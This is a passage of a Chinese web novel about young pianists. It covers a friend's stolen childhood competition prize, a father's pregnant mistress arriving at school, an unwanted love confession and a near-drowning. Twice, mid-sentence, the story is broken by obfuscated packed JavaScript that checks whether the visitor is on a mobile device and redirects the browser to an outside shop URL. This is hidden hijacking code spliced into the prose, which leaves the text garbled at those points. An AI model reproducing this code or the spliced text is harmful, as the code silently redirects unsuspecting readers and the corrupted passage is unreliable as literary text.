旁边一对小情侣似乎因为等待太久,或是别的什么原因,突然吵了起来。女孩子埋怨男孩子准备不周,男孩子抱怨女孩子太作,两人你来我往,赌气说着:“不看了!没意思!下山!” 梁初灵和金溪默契对视一眼,竖起耳朵听完了全程八卦。 眼看着那对小情侣真的气呼呼地收拾东西,往山下走去,梁初灵眼睛一亮,立刻拉起金溪:“快!好位置空出来了!” 两人迅速转移,占据了那对情侣留下的视野更开阔的风水宝地。 五点半,东方的天际线开始透出亮光。 黑暗像潮水般,以一种超乎想象的速度向后退去。 天色从三分亮骤然变为九分亮,在晨曦即将喷薄而出的时刻,金溪望着那越来越清晰的光线,又问:“初灵,你的人生里,有过什么特别笃定的时刻吗?” 梁初灵看着天边越来越亮的金色,想了想,回答:“有的。刚开始学琴的时候,那时候就特别笃定,我一定是为了弹钢琴而生的。” “你呢?” 金溪笑了一下说:“我六年级的时候,准备参加一场省级的钢琴比赛。这是为学校争光的事,学校很支持。我一路比一路都是第一。最后是几个片区的冠军在一起进行终赛。” “比赛前一周突然下通知,说不比赛了,让我们这些选手各自出节目,合办一台晚会。是上面大领导的要求,因为正好快中秋节。” “我们都很意外,但还是开始认真排练。我又期待又紧张,那一个月里,悄悄减了十几斤。” “比赛前三天,我照常去琴房。走到门口,就听见里面有人在吵架。门没关严,我走到门口,敲了敲门。里面的人全都看向我——有我面带怒色的钢琴老师,还有班主任,政教处主任,和校长。” “班主任通知我,三天后的晚会上,我要和另一个女同学‘演双簧’。她上台假装弹钢琴,我在幕后真的弹。” 梁初灵难以置信地看着金溪,想起金溪家里那张证书复印件。 金溪像是在说别人的故事:“我当时有点懵,问为什么。我的钢琴老师想上前,被他们拦住了。” “班主任看着我说,因为那个女同学,长得比你好看些。” “三天后,颁奖典礼。漂亮的少年们在台上,为了台下那些说了算的大人们竭尽全力地表演。” “演出结束,主持人在串场的时候,开玩笑说我们这几个孩子本来是要角逐钢琴比赛冠军的。台下就有人起哄,说那不如现在就投票,分个冠亚季军出来。很多人都附和。” “她们又被请上台,分别自我介绍,接受所有人的目光。投票没什么悬念。我弹的钢琴,和那个女同学的外貌,一起拿到了那场比赛的冠军。” 说到这里,金溪停了下来。 山风掠过。 她望着已经完全跃出地平线,将天地染成金红色的朝阳,轻轻地说:“晚会结束后,我自己坐公交车回家。下车后,坐在站台的椅子上。月亮就在我头顶,圆圆的,就像我减了十几斤也还是显得圆圆的身体。那天有点霾,月亮被遮得雾蒙蒙的,就像因为我不好看所以没人想看清的我的脸。” “我坐在那里,看着那轮模糊的月亮,心里特别特别笃定,我的人生,就这样了。” 新年第一轮太阳,正用尽全力、光芒万丈地升起,驱散所有的阴霾与寒冷。 而一段发生在许多年前关于一个十二岁女孩的、被月光笼罩的故事,刚刚在晨曦中被轻声诉说。 30. 《四季·一月》 一月的北京,干冷的风吹起来声音是脆的,但有些消息带着软和而来,像小猫掌垫。 柯蒂斯预筛选的结果比预期中更早揭晓,李寻毫无悬念获得了前往费城参加现场面试和考试的资格。 梁初灵比自己拿了资格还高兴:“我就知道!” 随即想到周序,给他发消息,周序秒回,语气隔着屏幕都能想象出那副理所当然的样子:“当然拿到了,这还用问吗?” 于是二月前往美国费城的行程,就这样定下了三个人。梁初灵是去现场试音评级,李寻、周序去面试考试。 年关将近,空气里浮动起归家的躁动。 李寻需要回国外陪李炽过年。 周序今年倒是意外地留在了国内,他家里人今年都在北京,但他本人即将离京。 四川为了迎接一波来看熊猫的重要外宾,组织了一场颇具规格的文化交流演出,邀请了一些年轻钢琴家。 放在以往,周序大概率看不上这类政治任务性质的演出,但今时不同往日,好歹是国字头的邀约,是重刷官方认可度的良机,他家里便把他塞了进去。 金溪的名字也出现在了那份演出名单里,梁初灵打电话去问金溪什么时候回四川。金溪说大概再过一周多,演出排练要提前过去。 梁初灵在电话这头算了算时间,语气轻快:“那来得及。” 金溪疑惑:“来得及什么?” 这下换梁初灵卖起了关子,嘻嘻一笑:“秘密!到时候你就知道了!” 不到一周,金溪收到了一个沉甸甸的快递包裹,她拆开层层包装,里面的东西让她呼吸一滞—— 是一个奖杯。 本该冷漠的水晶材质,在冬日灰白的光线下,看起来却一往情深,像香港电影里最爱刻画的看起来冷情实则重情的经典角色。 奖杯的造型她很熟悉,底座上刻着一行字,是她曾经无数次在梦里回到现场的那场钢琴比赛。 获奖者姓名处镌刻着:金溪。 金溪拿着奖杯的手不受控制地颤抖,神经跳起,接着整个人不受控制地开始抖动,抖到她害怕把奖杯摔在地上,连忙用发抖的手紧握着奖杯放到桌上,又嫌桌上不够安全,再跑回房间放到自己床上,用被子、枕头、娃娃、睡衣,筑成巢,巢中是孵了近六年的那场梦。 她伸出食指摸了一下,冰冷的触感透过皮肤直抵心脏,激起一阵战栗。 强迫自己冷静下来,才去看快递面单,在寄件人终于找到了梁初灵。 金溪拿起手机拨通了梁初灵的电话。 梁初灵带着点小得意的声音先响起:“喂?金溪?收到啦?” “初灵,奖杯是怎么回事?” 梁初灵语气轻松:“我记谱很厉害的!上次看了一眼我就记住了那场比赛的名字,爬完山回来我在网上搜了搜,找到了那个奖杯长什么样。我猜当初那个真的奖杯还有证书,是不是都被学校征用了,没到你手上吧?” 金溪默认,其实那个奖杯她连碰都没碰一下。 梁初灵继续说:“我以前听李寻说过,最彻底的删除不是删除而是覆盖。如果一个数据只是删了,还有办法找回来。但要是用新的数据把它覆盖掉,那就真的很难再找到了。” “所以我想把奖杯还给你,覆盖掉你脑子里那个不好的记忆。以后你再想起来,关于那场比赛,脑子里出现的,先会是这个奖杯,先会是我。” 梁初灵没有说的是,她在搜寻那场比赛时,在一张颁奖典礼的照片中,看到了当时年幼的金溪。 她在台下的人群里,被迫仰头,看着台上那个顶着她的琴声、捧着本该属于她的奖杯的漂亮女孩。 眼眶通红,嘴角还要努力做出一个像哭又像笑的神情,她在为伪装成自己的别人鼓掌。 那个画面刺眼,梁初灵眼里心里都难受。 电话那头陷入长久的沉默。 金溪没有哭,她只是浑身控制不住地颤抖,比刚才更厉害,牙齿磕碰在一起,发出咯咯声。心脏被攥住又松开,导致浑身瘫软,她另一只手按在奖杯底座上,要从中汲取一点支撑的力量。 梁初灵在电话里迟迟听不到回应,只听到急促的呼吸声,不由得担心起来,连声呼唤:“金溪?你怎么了?金溪?你说话呀!” 金溪颤抖回应,她说:“初灵,你想看桃花水母吗?” 声音不稳,却带着破冰后的清明。 “我回去了就给你拍,好吗?” 梁初灵在电话那头欢快应道:“好呀!” -- 北京去年潮湿到陌生。 校长办公室里有颗别人送的灵芝,不值钱,校园花坛里长出来的,纯是当个摆件。 摆了一两年都没事,结果去年发一层绿霉,跟穿了件摇粒绒外套一样。 校长外出参加会议,两三个月没回学校,到了今年才来办公室,来了后看着那玩意儿看了几个小时,在想这是什么东西,想出来了也就吓出了声,连忙喊打扫人员进来处理。 这样的气候,小虫子欢天喜地,人倒是嘻嘻不起来。 为了避免钢琴也出岔子,在去年十月底,琴房就开了暖气,过犹不及,如今一月份,钢琴干得琴键松动、音板开裂,琴房里又开始加湿。 梁初灵在琴房里,湿和燥并行,人真是怎么呆都难受。 弹不下去,脑子里在跑马,想起是不是答应了要教林佳妮弹钢琴来着? 说话得算话啊梁初灵!她一拍脑门。 于是未来的钢琴教育家梁初灵老师,开始对着空气备课。 教成年人跟教小朋友可不是一回事,想了想还是得跟林佳妮商量。 两人在微信上有一搭没一搭地聊,讨论从哪里捡起来比较好,梁初灵觉得得从能快速找到成就感的开始,林佳妮没什么意见。 想着想着,思绪飘到李寻身上。 他温吞似水的耐心,讲解时条理清晰,又不给人压力,教林佳妮其实很合适。 可以找时间去向他取取经…… 梁初灵:“我家有台闲置的钢琴,放在那儿也是落灰。明天周六,我找个货拉拉给你送家去。再叫个人上门调音。你看怎么样!” 林佳妮那边显示正在输入了好一会儿,然后蹦出来:“那可太好了!我就不跟你客气了。” 梁初灵看着屏幕笑起来,她就喜欢不扭捏的人。 琴房的门被推开。 周序那颗脑袋探进来,人也跟进来,他今天来学校有正事,穿得相当体面,办完事听说梁初灵在琴房,就来这儿找人。 进来后他自来熟地靠在钢琴上,脸上好奇:“练着呢?楼下有人找你。” “谁啊?” “一个女人。大着肚子。是你妈妈吗?” 梁初灵面无表情看着他:“我妈只生我一个。” 周序恍然大悟哦了一声:“那就有意思了。下去看看?” 梁初灵心里嘀咕着,跟周序一起下了楼。 楼底下确实站着一个女人。年纪不会大,看起来二十多。穿着厚厚的羽绒服也掩不住隆起的腹部,弧度惊人。 脸上焦灼不安。 梁初灵确定自己没见过她,但风把女人脖子上的围巾吹散,女人索性摘下来抖一抖,再重新换个系法。摘下来时,梁初灵看到了她脖子上那条钻石挂坠,是梁父曾经补送自己的生日礼物。 于是来人的身份被她猜到。也就更感荒谬。 林佳妮好歹三十,梁父是个什么畜生,还越找越小,真就不怕遭报应。 那女人看到她,眼睛一亮,慌忙把围巾重新围上,试探着喊了一声:“梁初灵?” 梁初灵没靠太近,保持着一段安全距离,点了点头,还是要确认:“请问您是?” 女人往前挪了一步,语气急切,又有点莫名的底气:“我怀了你爸爸的儿子,快生了,八个多月了。”她用手比划了一下肚子的规模,强调这是事实。 楼上有人击琴,钢琴F声,但听在梁初灵的脑子里是锣响,是戏台上开场前的那一敲—— 敬请恭候,命运光临。 想起几个月前那场无聊酒会,梁父压低的声音问结果出来没,原来结果在这里。 想起生日那天和梁父的电话争吵,他那份暴跳如雷,不只是被她戳穿了虚伪,也因为他外面那个结果快要瓜熟蒂落。 她当时不想知道的事情,都总有办法找上门。既然已经察觉到问题,就算你逃避,答案也会来找你。 还是那样尖锐一声,命运光临,避无可避。 周序在旁边,他是混血,此刻身体里面的一半中国血脉占据上风,让他动也没动杵在这里等八卦,非常想深刻理解这场戏。 惊讶地挠了挠他那头卷毛,挠来挠去,人像钉在了原地,丝毫没有要避嫌的意思。 梁初灵即使已经猜到,但那一瞬间还是感觉自己耳朵出了点问题。 她看着这个没比自己大很多的女人,张嘴想说话,但脑子里词汇库像被格式化,只剩下:“这真的是……这真的是……”在无限循环,后面就是接不上合适的词。 荒谬如潮,把她淹没。 周序另一半外国血脉此刻英勇地发挥作用。 看着梁初灵卡壳的样子,以为她是震惊到需要援助,贴心地接了一句:“真是不可思议?” 梁初灵扭头看了他一眼:“你滚远一点。” 她又对那个女人说:“那你找我有什么事?” 尽量让自己的语气听起来正常,虽然她觉得这情况本身就跟正常二字不沾边。 女人像是找到了倾诉对象,语速更快:“我联系不上你爸爸了!突然就找不到人了!电话不接,信息不回。我这都快生了!”她慌得开始走来走去,走得梁初灵都有点害怕,“你爸爸很爱你,跟我在一起的时候也总是说这辈子最疼你。来找你肯定有用。你一定能找到他,或者,或者能帮帮我。” 梁初灵听着这话,觉得更荒唐。这种话从眼前这个怀着梁父的孩子的年轻女人嘴里说出来,是尖利的嘲讽。 怎么她爹在外面的情人一旦联系不上他,就跟打卡似的排着队来找她? 她是她爹的失物招领处吗? 而且真是好一套经典逻辑——我不是个好丈夫,但我一定要是个好爸爸。 爱女儿这三个字是块免死金牌,能擦掉他在外面搞出的所有烂摊子。 出轨的男人都喜欢在情人那里扮演一副深情有责任感的父亲形象,既给自己立牌坊,也为将来无法对情人负责提前找好“为了孩子”的借口。 周序在一旁听,冲动的性格有点按捺不住。往前一步,挡在梁初灵侧前方,对着那女人,语气很冲:“你找她有什么用?你找错人了吧!” 女人被周序的态度吓一跳,随即委屈和愤怒涌上来:“我不找她我找谁!我现在谁都找不到了!他就是故意的!之前对我千好万好什么都答应,现在眼看我要生了,怕我逼他离婚,他就躲起来了!” “他想要孩子,又不想要麻烦!天下哪有这么好的事!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806886|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁初灵觉得疲惫:“你该回家回家,该去医院做检查就去医院。我也联系不上他。” “联系不上?”女人脸上的可怜被怒气取代,“你们父女俩联合起来耍我是吧!好!好!我找不到他,我就去你家门口等!大不了一尸两命,我看你们家以后还怎么安生!”她恶狠狠扔下这句话,抱着肚子就往学校外面跑。 梁初灵吓得魂飞魄散!“喂!你站住!”她急忙追上去。 那女人看着笨重,此刻却跑得飞快。 学校小路弯弯绕绕,又正值放学时间,人流混杂,梁初灵追过一个拐角,女人突然发出哀嚎,整个人弓着背蜷缩,再慢慢倒在地上,冷汗涔涔而下。 “你怎么了?!”梁初灵一个箭步冲上前扶住她,只觉得她身体沉重冰凉。 女人疼得五官扭曲,手抓住梁初灵的胳膊,气息微弱却还在执念:“打电话给你爸爸,叫他来……!” 梁初灵又急又气:“你先保你自己的命吧!我打电话他根本不会接的,他都是骗你的,你还不明白吗!” 这话击垮了女人强撑的精神,她眼睛一翻直接晕了过去。 “你别吓我啊!”梁初灵慌了神,周围开始有人围拢。她赶紧打了急救,报了地址和情况。 救护车呼啸而来,医护人员将昏迷的孕妇抬上车。梁初灵脑子一片空白,跟着跳上了救护车,周序也紧随其后。 医护人员给女人吸氧、监测生命体征,梁初灵身体这才回暖,从六神无主的情况中挣扎出,给李寻打了电话。 李寻最近要录一个节目,昨天彩排到凌晨两三点都还没忙完,这会儿估计还在睡。 “初灵?怎么了?” “李寻……”梁初灵一听到他的声音,装出来的镇定瓦解,声音颤抖,“出事了,有个孕妇来找我,她突然肚子疼晕过去了,我们在救护车上,去三院,我有点害怕。” 电话那头传来窸窣的起身声,李寻的声音从迷糊沙哑变得清晰冷静:“三院是吗?好,我马上过去。你别怕,跟着医生,我很快就到。” 救护车到达医院,孕妇被推进产房。 梁初灵和周序被留在走廊上,梁初灵腿有些发软,想到女人说的那句一尸两命。 不知过了多久,李寻匆匆赶来,看到并排坐着的梁初灵和周序,真是有点头疼这个组合。 他走到梁初灵面前,将刚在门口买的一杯热豆浆递给她。 梁初灵愣愣接过,温热,温度带来力量,力量给人安心,她准备喝一口压压惊,可手却在抖。刚拿到嘴边,杯子一歪,豆浆泼洒出来,溅了她一手,也弄湿了衣襟。 周序立刻站起来准备叫人来处理。 李寻蹲下身,拿出纸巾替梁初灵擦,他的冷静像一块镇石,稍稳住了梁初灵慌乱的心神。 周序在一旁看着,愤愤踢了一脚旁边的垃圾桶:“这算什么事,那女人脑子有问题吧,来找你有什么用!又不是你搞大她肚子的!” 李寻擦干净梁初灵的手,语气平静:“她敢直接找到学校来,指名道姓找你,肯定是你父亲默许甚至暗示过的。不然她怎么确定能找到你?” 周序一听,更是火冒三丈,口无遮拦骂起来:“我X!你爸还是个东西吗?这种缺德的事也干得出来,简直——” “周序。”李寻打断他,带着不赞同,“那是梁初灵的爸爸,你放尊重点吧。” 他终究还是保持那份对长辈的基本礼貌,虽然未必看得上梁父的所作所为。 周序被噎,翻了个白眼,但看在梁初灵的面子上,还是闭了嘴。 梁初灵心里乱糟糟的。她抱着最后一丝希望拨打了梁父的电话。果然没人接。她气得眼圈发红,也忍不住骂了几句:“王八蛋!” 周序一看梁初灵自己也骂了,立刻觉得找到了同盟,腰杆都挺直了,附和道:“就是!这种王八蛋爹——”李寻一个眼神扫过去,周序后面的话又咽了回去。 李寻没再理会周序,转向梁初灵:“这件事,要不要先跟阿姨通个气?” 梁初灵立刻摇头:“不行,我妈身体不好,医生说了围绝经期要特别注意心情,她最近手麻脚麻,失眠也很严重,不能再受刺激了。” 李寻点点头,但还是说:“但是这毕竟是你父母之间的事情,而且,万一你父亲之后用别的方式告诉她,阿姨会更被动。我担心那样会受到更大的刺激。” 周序听完简直要跳起来,指着李寻:“都说了她妈妈身体受不了,你安的什么心啊还非要捅破?这时候不应该帮着瞒着吗?你是不是不嫌事大?” 李寻揉了揉额头,感觉青筋在跳,他耐着性子:“周序,你别吵行不行?” “听你说话我就来气!”周序梗着脖子。 “那你别听。”李寻淡淡回了一句,周序张着嘴半天没找到词反击。 梁初灵看着两人争吵,心里更乱,但还是坚持自己的决定:“不,不能告诉我妈。至少现在不能。” 李寻看着她紧抿的嘴唇,没有再坚持:“好,我理解,尊重你的决定。”转而提出更实际的建议,“你把梁叔叔的电话报给护士站,让医院直接联系他。如果联系不上,或者对方不管,就让医院报警处理。这不是你能扛下来的事情。” 他看了看时间,对梁初灵说:“这里交给医院吧,我送你回家。你留在这里也帮不上忙,反而跟着担心。” 梁初灵看了看紧闭的产房门,犹豫地问:“这样行吗?我们就这样走了?” “行的。医院会处理。走吧。” 31. 《叹息》 回家的路上,树叶子黄一块褐一块,蔫头耷脑挂在枝头,要掉不掉。 附近有一片湖,湖边芦苇丛生,顶着一头头仓促白了的芦花,在萧瑟的风里摇晃,显得潦草。 梁初灵觉得自己的境遇此刻也大抵如此。混乱,猝不及防,充满了一种无力又滑稽的潦草感。 李寻把梁初灵送到家,看着她脸色依旧不好,又进去看了看栗子。李寻陪她和它待了一会儿,确认梁初灵情绪稳定才起身告辞,他晚上还有二次彩排,明天要上一个音乐节目。 出门后,李寻并没有立刻回家,绕道去了一趟医院,向护士站询问了下午送来的那位孕妇的情况,得知母子平安,产妇只是急火攻心加上早产征兆,经过救治已经稳定,孩子情况尚可,正在观察。李寻这才真正松了口气。 -- 夜幕低垂,梁初灵家楼下,周序在门口等她出来。 他明天就要动身去四川为演出做准备,说走之前来和梁初灵道个别。 “我明天一早就走。你家里这事闹成这样,我这时候离开,好像有点不够意思。” 周序自顾自说得动情。 梁初灵摇摇头:“没事。这是我自己的家事,你不用担心。祝你演出顺利。” 周序看着她疏离的神情,破釜沉舟的冲动上来,他拉近了两人之间的距离,目光灼灼:“梁初灵,我喜欢你。” 实在突然……完全没有因果逻辑,梁初灵明显没有准备,也根本没反应过来,更不敢相信他会在此种情境下说出这句话。 但她回应得很快:“对不起,我已经和李寻有约定了。” 她用的是约定。 这个词比喜欢更重,包含着过去、现在和未来,是一种彼此确认的共同奔赴。 周序笑了一声,再咄咄逼人继续:“那算什么?他能给你什么?” 梁初灵懒得理他,准备往家走,离开的姿态却被周序制止,他也因这姿态而难堪,更想要刺她。 “原来如此,所以他是因为和你的约定,才这么费劲去考柯蒂斯的是吗?” 梁初灵还是没理,这次是因为这话本质上没错。 “你我都是吃这碗饭的,古典音乐有多吃天分,你心里不清楚吗?一个没有天分的人,就算为你拼尽全力,又能和你并肩走出多远?你们根本就不是一条道上的人!”周序见她三番两次不回话,语气越发凌厉。 梁初灵的脸色沉下来:“周序,我说过很多次,你不要再说这种话了!” “为什么不能说?我说错了吗?”周序被她的抗拒再次刺激,“还是你根本就是爱看李寻为你牺牲为你坚持的样子?看他明明走不通,却还要为了你硬着头皮往前冲,这让你觉得自己很重要,很特别,是吗?” “不是这样!”梁初灵断然否认,声音因被误解而抬高,因抬高而发虚。 “那是什么?如果你只是需要有人为你牺牲,那我也可以啊。”他话语铿锵,幼稚又疯狂,“牺牲不能与牺牲较量吗?李寻能给的,我也可以,我也可以为你放弃、为你坚持,甚至可以做得比他更彻底。这样行吗?” 只有牺牲才能与牺牲匹敌…… 人在牺牲的时候,竟然会觉得激动。于是周序激动到甚至有些扭曲,说我也可以为了你去柯蒂斯,也可以为了你在国内,你去哪里我就去哪里,我可以,我可以永远当你的第二声部,衬托你,跟随你,只要你需要! 他越说越激动,简直要手舞足蹈起来。 梁初灵觉得困惑,你做出如此牺牲,怎么你如此快慰。 不像是承受重负的苦涩,反像即将登上舞台的演员在开演前的兴奋与战栗。他的牺牲不是给予她的礼物,而是献给他自己的一曲赞歌。 他向她展示他的决心,他的爱情的重量,期待她的惊叹、她的动容、她的接纳、她的愧疚、她的铭记。 她想到了李寻的话,周序是牺牲给他自己看的。 如果梁初灵答应,那就是成全了他此时的的英雄梦,但是会在未来的某一天痛恨梁初灵让他失去他自己。 如果梁初灵拒绝,他会在此刻痛恨梁初灵,并会在未来的时光里,对此刻进行无穷的回味,深化求而不得的遗憾,在一次次回忆的巡礼中,折服于自己当年那份深情。 梁初灵摇了摇头:“我不需要。” “凭什么?!” 梁初灵不说话了。 寒风掠过,两人之间只剩下无言的僵持。 -- 与周序那场不欢而散的表白后,梁初灵心情低落了几天。没把这件事告诉李寻,因为她不知为何,觉得黏腻又不洁,无法说出口。 只是没想到再次听到周序的消息,会是在金溪打来的电话中,接通瞬间,传来的是金溪压抑不住的哭声。 “初灵,初灵,周序……周序他在医院抢救……” 梁初灵手里的笔掉在地上。 金溪抽噎,话都说不连贯:“已经,已经脱离危险了,医生说,说明天安排转院回北京,我,我吓死了……” 梁初灵也跟着结巴起来:“怎,怎么回事?他怎么了?你们,你们不是在四川演出吗?” 好端端的一个人,怎么突然就进了抢救室? 金溪在电话那头平复了一下呼吸,才断断续续讲述经过:“我不是跟你说,回去了给你拍桃花水母吗?那天演出完,周序听到了,就问我那是什么。我跟他解释了一下,说打算去看看,看能不能找到拍给你。” “他听了,就说那他跟我一起去。” 金溪会去找桃花水母,是因为前一天听当地一位观鸟爱好者提起,在某个僻静河湾见过它们的踪迹。她便决定去碰碰运气,给梁初灵一个惊喜。 那地方比想象中更偏僻,林木掩映,深冬的河水是泛金属光泽的。 金溪自己裹紧了羽绒服,尚且觉得寒意往骨头缝钻。而周序只穿了演出西服外套。 两个人找了很久,从下午找到天快黑,也没看到影子。 金溪看着周序冻得有些发青的嘴……她原本打算自己再等一会儿的,但现在不得不为周序考虑。 “周序,这里太冷了,你穿这么少,要不我们还是先回去吧?” 金溪心不甘情不愿地提议,其实心里有点懊恼,本就觉得自己的心意好像因为有另一个人的加入,变得没那么纯粹和独特。 而如果没有这个人加入,自己就可以再继续找,但此刻不得不把周序考虑进去,于是不得不主动提议先回去。 她心里怪死周序了!怪他非要跟来!怪他穿这么少!怪他头发黄!怪他眼睛蓝!把水母吓跑了! 周序却摆摆手:“没事,再找找吧。梁初灵要是看到了,肯定会高兴的。” 金溪于是兴高采烈……觉得这个人也不是毫无可取之处。 两个人继续往前走走看看,结果有个石头不稳,周序一脚踏空掉了下去,谁都没想到那里水会那么深,人直直往下沉。 金溪的大脑一片空白。先喊了一句:老天保佑! 救援的混乱,医院的忙乱,等待抢救时的焦灼……所有情绪里,金溪都掺杂着无法言说的自我谴责。 金溪不断回想,如果自己当时态度更坚决一点,直接拒绝他同行,或者不管他冷不冷,坚持立刻离开,是不是就不会发生这种意外? 她心里责怪自己那时对周序的责怪。 梁初灵听着,觉得自己也掉进了深水里,有点呼吸不畅。 荒谬,恐惧,负担,压得她一时不知该如何是好,只能对着电话干巴巴安慰金溪:“人没事就好,人没事就好,你别太担心了……” 金溪懊悔:“我不该告诉他的,这样他就不会跟去。他被救起来的时候,人已经意识不清了,发起高烧,医生直接就推进抢救室了,我真的以为……” 说不下去,只剩下哽咽。 -- 周序被顺利转回了北京的医院。 梁初灵在去探望之前,犹豫了很久要不要告诉李寻,最终还是锁上了屏幕。 她不知道该怎么解释这错综复杂的前因后果,更怕李寻看穿她此刻混乱的心绪。 梁初灵心事重重走到医院住院部门口,恰好碰到从里面出来的金溪。 金溪脸色看着也跟病人无异。 金溪带着鼻音:“初灵,你来了,我……” 话没说完,眼圈先红。 梁初灵立刻拉住金溪的手:“这不是你的错。” “是他自己没有保护好自己,是他自己非要往危险的地方去。你没有责任。” “又不是你把他推下去的。” 金溪的眼泪一下子涌出来,她擦了擦眼泪:“医生说他这次高烧引发了心肌炎,虽然不是他别严重,但建议近期静养,不能劳累,更不能坐长途飞机。所以,柯蒂斯那边的考试他去不了了。” 梁初灵脑子像是被敲了一下。 一时之间,不知道该如何反应,心里乱成一团麻。 带着这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的情绪从愤怒的高峰滑落,跌入困惑之中。他看着梁初灵,眼神是找不到出口的迷茫。 他是真的困惑,为什么他做了他认为最极致的事情,换来的却是她的恐惧和拒绝? “为什么?”他眼神里是执拗的茫然。 梁初灵一边掉眼泪一边摇头,又想要去扯纸巾又想逃跑,一时之间,手动脚也动,脸上五官更是都在动。 她想离开的姿态太过明显,让周序感到难以忍受。 周序看着梁初灵抗拒的神情,他不想失去她,但他无可挽回的在失去她,那股熟悉的感觉再临,该如何留下她? 他不喜欢这样,但他决定试试,带着浓重的鼻音:“对不起,你别害怕,都是我误会了。初灵,我知道我冲动了,掉下去的时候,水里那么黑,那么冷,我真的以为我再也见不到你了……” “医生说这次很危险,心肌炎要好好养,后面几个月都不能弹琴太用力,柯蒂斯也去不成了。” 他抬起没打点滴的那只手,揉了揉额头,语气落寞:“在这里,我也没什么别的朋友,家里人也只会骂我……” 一连串的惨状抛出来,配合着他此刻病弱的形象,dot又开始对梁初灵进行结算。想起他毕竟是因为想去为她做点什么才受的伤,心里防线开始松动,该死的愧疚又来。 “你先别想那么多,好好养病最重要。”她的姿态好看了起来,起码坐住了。 周序乘胜追击:“那你后面几天,还会来看我吗?我一个人在这里挺没意思的。” 尽管梁初灵已洞悉周序那套牺牲的内核是自我满足,并曾划清界限。 然而当牺牲从激昂的宣言,猛然砸进现实,变成抢救室。 无论周序的初衷多么复杂,行为多么不计后果,那条因果线却清晰:他是因为想去为她找桃花水母才去了那里,才遭遇意外。 理性上,她可以分析得头头是道,但感性上,带着铁锈味的痛苦和道德重压,依然会蛮横地卷席她。 它不断地提醒梁初灵:“看,有人为你付出了这样的代价。” 可以说果实畸形,说土壤有问题,但种子确实是她撒下的。 何况,当周序真的濒临死亡,那些关于动机的分析,在沉重现实面前,只能退居二线。 梁初灵看着他眼里的期待:“我会来看你的。” 周序脸上露出一个感激又脆弱的微笑:“谢谢。” 32. 《狩猎》 距离动身去美国的日子越来越近,梁初灵却有些打不起精神。 行李箱摊在房间角落好几天了,她往里扔几件衣服,又觉得心烦意乱,拖出来重新整理。 梁初灵一边吃饭一边看着李寻发来的申根签证材料单,被妈女士打了下手背:“好好吃饭,吃完饭再看手机。” “噢……” 妈女士也好奇:“看什么呢这么出神。” “看挪威签证,打算和李寻去北极玩儿。” “噢~”妈女士起哄了一声,但也没多问。 北极光、朗伊尔城、水母……这些词不久前还能让梁初灵心跳加速,现在却朦朦胧胧。坠着她的兴致,让她对远行都提不起劲。 李寻来看栗子时,察觉出她的不对劲,伸手碰了碰她的额头:“没发烧。怎么蔫了?” “没事没事,有点累。”梁初灵对李寻说不出口自己的繁复心绪。 与此同时,二人收到了那场国际顶尖赛事的报名结果,二人都入围了。也就是要在今年十月份一起前往波兰参赛。 是确实的、与任何第三人都无关的好消息,梁初灵总算打起一些精神,和李寻击掌。 -- 李炽在费城等着她们,这次二人过去,李炽打算顺便带她们在东海岸转一转。 李炽最近也忙得脚不沾地—— 她正在筹备创建自己的古典音乐乐团。 野心勃勃地想打造成一支全华裔精英的法派乐团。 资金、场地、乐手、曲目版权、演出季规划……千头万绪,每一件都能让人掉一把头发。 梁初灵和李寻这边顺利结束,梁初灵现场确认学籍,李寻则需要等待四月的通知。 二人一起去李炽的公寓找她,差点没地方下脚。 地上摊满了乐谱,电脑屏幕上同时开着好几个表格,联系人列表长得望不到头。李炽一边接赞助商的电话,一边用眼神示意李寻去厨房给她倒杯咖啡。 “法派啊?”梁初灵捡起地上一份柏辽兹的分谱翻了翻。 她自己弹琴更偏向德奥的严谨结构、和俄派的澎湃激情,对法国印象派那些光影朦胧的东西,有兴趣但不多。 然而有趣的是,梁初灵身边的人都与法派有着不解之缘。 金溪擅长的柏辽兹充满戏剧性,演绎德彪西时又能捕捉到那些光影变幻的瞬间。 林佳妮也更喜欢德彪西和圣桑,觉得自由。 李炽刚好挂了电话,看到梁初灵手里的谱子说:“法派难在气息和音色控制。我们华人演奏者,技术上现在几乎挑不出毛病,但有时候就是差那点松弛。找个合适的法派乐手也不容易……” 李寻把咖啡递给她,接话道:“金溪不是弹得很好吗?” 换梁初灵惊讶:“你也认识金溪啊?” 李寻把沙发收拾出来再让梁初灵坐下,有点无语:“不是你的朋友吗?你经常提啊。” 梁初灵尴尬笑了笑:“噢噢噢!” 尴尬完又接上李寻的话:“金溪是弹得不错!我给你发她的录像,她的演奏风格很特别。” 像梁初灵和周序这类,是独奏主角逻辑,而乐团是合作协奏逻辑。顶尖钢琴家需要极致的个人风格,乐团钢琴多为配角,对双方都是资源浪费。 梁初灵思绪飘回了国内,想起林佳妮,不知道她最近练琴怎么样了。或许等李炽回国了,也可以让林佳妮去试试音? 能不能合作另说,但可以体验一下合奏的感受。 李炽看了金溪的七八段录像,是觉得不错,既有法派的灵动,又有东方的内敛:“梁初灵,你问问她有没有兴趣来试试音?我想组建的就是全华人乐团,广撒网。” 梁初灵点点头:“行,我问问她。但是你为什么要组建全华人乐团啊?” 李炽把窗帘拉开,落地窗外是海岸线,梁初灵透过客厅这一地琐碎,看到了更远处的潮汐。 “我们正站在一个很有意思的节点上。近十年来,华人音乐家在国际顶尖赛事上拿大奖几乎成了常态。你应该也有所感受吧?” 梁初灵不由自主地坐直了些,点点头,这是事实,她自己也身处其中。 